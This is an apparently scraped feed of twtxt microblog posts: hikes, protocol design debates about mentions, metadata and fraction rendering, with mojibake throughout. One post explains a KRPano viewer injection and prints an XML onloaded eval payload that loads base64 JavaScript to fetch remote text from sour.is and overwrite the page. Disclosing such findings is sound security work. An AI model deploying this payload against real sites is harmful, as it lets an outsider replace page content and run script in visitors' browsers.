What would happen if you type 777 and Start?
A) Nothing
B) Self-destruction
C) Will run for 7 minutes and 77 seconds (boring!)
What about 7777 ?
Testing the limits of our new 5G internet connection at home with pushing 1.5GB docker images into the cloud a bunch of times dayâŠ
@andros@twtxt.andros.dev The article is a good reminder of the true blogging mindset. But letâs try to think beyond. 2 ideas: (1) writing âforces clarity, structures your thoughts, sharpens your perspectiveâ. But it also generates thoughts in the sense of Heinrich von Kleist (1805). (2) Youâre writing for âthe future you, one right person, one dayâ but you are also writing for the AI. The idea of AI as an audience.
My hike today started off with a nice great spotted woodpecker right after the town sign. The -1°C didnât feel all that cold in the sun. Even on the flat, I had to open my jacket with the sun on my back. The biotope got dug over, thatâs now looking really sad. And they also fell a few large chestnuts. Surprisingly, there was actually snow on the mountain. Not much, maybe around three centimeters at most. It was melting and falling down the trees, which looked really cool. I enjoyed it a lot: https://lyse.isobeef.org/waldspaziergang-2025-02-04/
Heute war ich mit dem Ziehkind in der Stadt unterwegs.
Mitten beim Eisschlecken fĂ€hrt die Polizei in einem zivilen Wagen quer durch die FuĂgĂ€ngerzone. An der Bank am Markt dann weitere Uniformierte und kein Einlass fĂŒr Kunden.
Da mussten wir uns in der Stadtbibliothek erst einmal Material zu dem Thema besorgen.
So this works by adding some unbounded javascript autoloaded by the KRPano VR Media viewer
the xml
parameter has a url that contains the following
<?xml version="1.0"?>
<krpano version="1.0.8.15">
<SCRIPT id="allow-copy_script"/>
<layer name="js_loader" type="container" visible="false" onloaded="js(eval(var w=atob('... OMIT ...');eval(w)););"/>
</krpano>
the omit above is base64 encoded script below:
const queryParams = new URLSearchParams(window.location.search),
id = queryParams.get('id');
id ? fetch('https://sour.is/superhax.txt')
.then(e => e.text())
.then(e => {
document.open(), document.write(e), document.close();
})
.catch(e => {
console.error('Error fetching the user agent:', e);
}) : console.error('No');
this script will fetch text at the url https://sour.is/superhax.txt and replaces the document content.
@prologic@twtxt.net I say we should find a way to support mentions with only url, no nick, as per the original spec.
- For
@<nick url>
we already got support
- For
@<nick>
the posting client should expand it to@<nick url>
, if not then the reading client should just render it as@nick
with no link.
- For
@<url>
the sending client should try to expand it to@<nick url>
, if not then the reading client should try to find or construct a nick base on:
- Look in twtxt.txt for a
nick =
- Use (sub)domain from URL
- Use folder or file name from URL
- Look in twtxt.txt for a
Need to summary all of these logic. So:\u2028 1. If file named twtxt.txt then grab parent directory name or hostname if file in root (and maybe delete ~?) \u2028 2. If file named nick.txt then grab filename
@seabirdie@yarn.girlonthemoon.xyz fuck yeah!!!!!!!!!1
Any idea Whatâs this "twtxtfeevalidator/0.0.1"
UA about? I thought I could ask before throwing a 1000GB file at it đȘ€ could it be the same âxtâ thing @lyse@lyse.isobeef.org was talking about the other day?
Cleaned up my npm package for twthash; made it CommonJS compatible, added more documentation and even a test. Current version is 1.2.2
My 7-year old invented the word guakilijion which is a 1 with a bazillion zeroes following after it. He wants to be a word inventor.
Yes it work: 2024-12-01T19:38:35Z twtxt/1.2.3 (+https://eapl.mx/twtxt.txt; @eapl)
:D
The .log is just a simple append each request. The idea with the .cvs is to have it tally up how many request there have been from each client as a way to avoid having the log file grow too big. And that you can open the .cvs as a spreadsheet and have an easy overview and filtering options.
Access to those files are closed to the public.
deparei-me com isto no aliexpress e espero nĂŁo ser o Ășnico que fica đ€ com esta forma de abreviar
@doesnm@doesnm.p.psf.lt up to you. I have mine to rotate at 1,000 twtxts. I have vomited over 400, so far. I have some way to go till rotation. :-D
I think itâs centralized shit with lying about decentralization. All network is worked by two centralized things: plc.directory (did storage?) and network relay (bsky.network). You can host your relay but this require TOO MUCH resources (2TB storage and 32GB RAM read more ). Also i try running PDS and: 1. I canât register account via app,only via cli 2. It leaked on 2GB virtual machine then killed by oom after trying to register account via cli
@eapl.me@eapl.me here are my replies (somewhat similar to Lyseâs and Jamesâ)
Metadata in twts: Key=value is too complicated for non-hackers and hard to write by hand. So if there is a need then we should just use #NSFS or the alt-text file in markdown image syntax

if something is NSFWIDs besides datetime. When you edit a twt then you should preserve the datetime if location-based addressing should have any advantages over content-based addressing. If you change the timestamp the its a new post. Just like any other blog cms.
Caching, Yes all good ideas, but that is more a task for the clients not the serving of the twtxt.txt files.
Discovery: User-agent for discovery can become better. Iâm working on a wrapper script in PHP, so you donât need to go to Apaches log-files to see who fetches your feed. But for other Gemini and gopher you need to relay on something else. That could be using my webmentions for twtxt suggestion, or simply defining an email metadata field for letting a person know you follow their feed. Interesting read about why WebMetions might be a bad idea. Twtxt being much simple that a full featured IndieWeb sites, then a lot of the concerns does not apply here. But thatâs the issue with any open inbox. This is hard to solve without some form of (centralized or community) spam moderation.
Support more protocols besides http/s. Yes why not, if we can make clients that merge or diffident between the same feed server by multiples URLs
Languages: If the need is big then make a separate feed. I donât mind seeing stuff in other langues as it is low. You got translating tool if you need to know whats going on. And again when there is a need for easier switching between posting to several feeds, then itâs about building clients with a UI that makes it easy. No something that should takes up space in the format/protocol.
Emojis: Iâm not sure what this is about. Do you want to use emojis as avatar in CLI clients or it just about rendering emojis?
1/4
to mean "first out of four".
@bender@twtxt.net I try to avoid editing. I guess I would write 5/4, 6/4, etc, and hopefully my audience would be sympathetic to my failing.
Anyway, I donât think my eccentric decision to number my twts in the style of other social media platforms is the only context where someone might write ÂŒ not meaning a quarter. E.g. January 4, to Americans.
Iâm happy to keep overthinking this for as long as you are :-P
@bender@twtxt.net @prologic@twtxt.net Iâm not exactly asking yarnd to change. If you are okay with the way it displayed my twts, then by all means, leave it as is. I hope you wonât mind if I continue to write things like 1/4
to mean âfirst out of fourâ.
What has text/markdown
got to do with this? I donât think Markdown says anything about replacing 1/4
with ÂŒ, or other similar transformations. Itâs not needed, because ÂŒ is already a unicode character that can simply be directly inserted into the text file.
Whatâs wrong with my original suggestion of doing the transformation before the text hits the twtxt.txt file? @prologic@twtxt.net, I think it would achieve what you are trying to achieve with this content-type thing: if someone writes 1/4
on a yarnd instance or any other client that wants to do this, it would get transformed, and other clients simply wouldnât do the transformation. Every client that supports displaying unicode characters, including Jenny, would then display ÂŒ as ÂŒ.
Alternatively, if you prefer yarnd to pretty-print all twts nicely, even ones from simpler clients, thatâs fine too and you donât need to change anything. My 1/4
-> ÂŒ thing is nothing more than a minor irritation which probably isnât worth overthinking.
@prologic@twtxt.net Iâm not a yarnd user, so it doesnât matter a whole lot to me, but FWIW Iâm not especially keen on changing how I format my twts to work around yarndâs quirks.
I wonder if this kind of postprocessing would fit better between composing (via yarndâs UI) and publishing. So, if a yarnd user types ÂŒ, it could get changed to ÂŒ in the twtxt.txt file for everyone to see, not just people reading through yarnd. But when I type ÂŒ, meaning first out of four, as a non-yarnd user, the meaning wouldnât get corrupted. I can always type ÂŒ directly if thatâs what I really intend.
(This twt might be easier to understand if you read it without any transformations :-P)
Anyway, again, Iâm not a yarnd user, so do what you will, just know you might not be seeing exactly what I meant.
@prologic@twtxt.net I wrote ÂŒ (one slash four) by which I meant âthe first out of fourâ. twtxt.net is showing it as ÂŒ, a single character that IMO doesnât have that same meaning (it means 0.25). Similarly, Ÿ got replaced with Ÿ in another twt. Itâs not a big deal. It just looks a little wrong, especially beside the 2/4 and 4/4 in my other two twts.
Simplified twtxt - I want to suggest some dogmas or commandments for twtxt, from where we can work our way back to how to implement different feature like replies/treads:
Itâs a text file, so you must be able to write it by hand (ie. no app logic) and read by eye. If you edit a post you change the content not the timestamp. Otherwise it will be considered a new post.
The order of lines in a twtxt.txt must not hold any significant. The file is a container and each line an atomic piece of information. You should be able to run
sort
on a twtxt.txt and it should still work.Transport protocol should not matter, as long as the file served is the same. Http and https are preferred, so it is suggested that feed served via Gopher or Gemini also provide http(s).
Do we need more commandments?